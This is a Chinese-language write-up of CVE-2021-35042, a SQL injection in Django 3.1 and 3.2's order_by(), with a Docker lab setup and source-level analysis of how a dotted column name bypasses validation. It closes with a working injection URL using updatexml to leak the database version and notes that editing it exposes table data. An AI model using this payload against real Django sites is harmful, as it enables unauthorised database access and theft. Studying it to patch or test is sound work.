CVE-2021-35042
漏洞介绍
Django 是 Python 语言驱动的一个开源模型-视图-控制器(MVC)风格的 Web 应用程序框架。
漏洞影响版本:django 3.1、3.2
2021年07月01日,Django 发布了3.2.5 和 3.1.13版本,修复了Django中的一个SQL注入漏洞(CVE-2021-35042),Django建议用户尽快升级。
由于传递给QuerySet.order_by()的用户输入未经处理,攻击者可以利用这绕过标记为弃用的路径中的预期列引用验证,从而导致SQL注入。
搭建环境
这里我们使用docker搭建环境
docker-compose.yml 中 ports下面- "映射到物理机的端口:docker容器的端口" ,映射到物理机的端口默认为8000,如果有本机其他端口有冲突可以手动修改。
启动环境
docker-compose up -d
django源码分析
url.py
可以理解为url路由
from django.urls import include, path, re_path
from . import views
urlpatterns = [
path('vuln/', views.vul), # 如果请求http://ip:port/vuln/ 就会交给views.py中的vul函数进行处理
]
views.py
处理对应http请求的函数
from django.shortcuts import HttpResponse
from .models import Collection
def vul(request):
query = request.GET.get('order', default='id') #获取url中的order的值,如果取不到默认将"id"赋值给query
q = Collection.objects.order_by(query) # 数据库查询操作
return HttpResponse(q.values()) # 将返回的数据作为响应体返回
models.py
from django.db import models
class Collection(models.Model):
name = models.CharField(max_length=128)
这里出漏洞的位置是Collection.objects.order_by,这里在docker容器中不太好分析/usr/local/lib/python3.8/site-packages/django下的文件,所以我们使用pycharm下载3.1版本的django。
上面views.py中的Collection.objects.order_by 我们ctrl点击order_by查看django源码
问题点在1134行的obj.query.add_ordering(*field_names)这里传入的参数也就是上面views.py的query
django\db\models\sql\query.py
def add_ordering(self, *ordering):
errors = []
for item in ordering:
if isinstance(item, str):
if '.' in item: # 如果包含.来个警告直接continue 绕过了安全验证
warnings.warn(
'Passing column raw column aliases to order_by() is '
'deprecated. Wrap %r in a RawSQL expression before '
'passing it to order_by().' % item,
category=RemovedInDjango40Warning,
stacklevel=3,
)
continue
if item == '?': # 如果item完全等于?也绕过了安全验证,但是无法利用
continue
if item.startswith('-'): # 如果以-开头对item进行处理,无法漏洞利用
item = item[1:]
if item in self.annotations:
continue
if self.extra and item in self.extra:
continue
self.names_to_path(item.split(LOOKUP_SEP), self.model._meta) # 对参数进行安全验证
elif not hasattr(item, 'resolve_expression'):
errors.append(item)
if getattr(item, 'contains_aggregate', False):
raise FieldError(
'Using an aggregate in order_by() without also including '
'it in annotate() is not allowed: %s' % item
)
if errors:
raise FieldError('Invalid order_by arguments: %s' % errors)
if ordering:
self.order_by += ordering
else:
self.default_ordering = False
最方便的还是传入的参数中包含"."这样就可以直接绕过安全验证直接去sql字符串拼接
sql语句拼接的位置
django\db\models\sql\compiler.py
django\db\models\sql\compiler.py--->class SQLCompiler---->def get_order_by(self)
这里便利上面传下来的ordering ,这里有一个判断条件如果.在field中col没有经过处理直接丢进去了
现在其实就成了 select xxx from xxxx xxxxx orderby (这里可控);
漏洞复现
http://ip:port/vuln/?order=vuln_collection.name);select updatexml(1, concat(0x7e,(select @@version)),1)%23
经过处理后就变成了下面的sql语句
select xxx from xxxx xxxxx orderby (vuln_collection.name);select updatexml(1, concat(0x7e,(select @@version)),1)%23
接着查看表查看数据什么的 修改 "select @@version"这一部分即可
__EOF__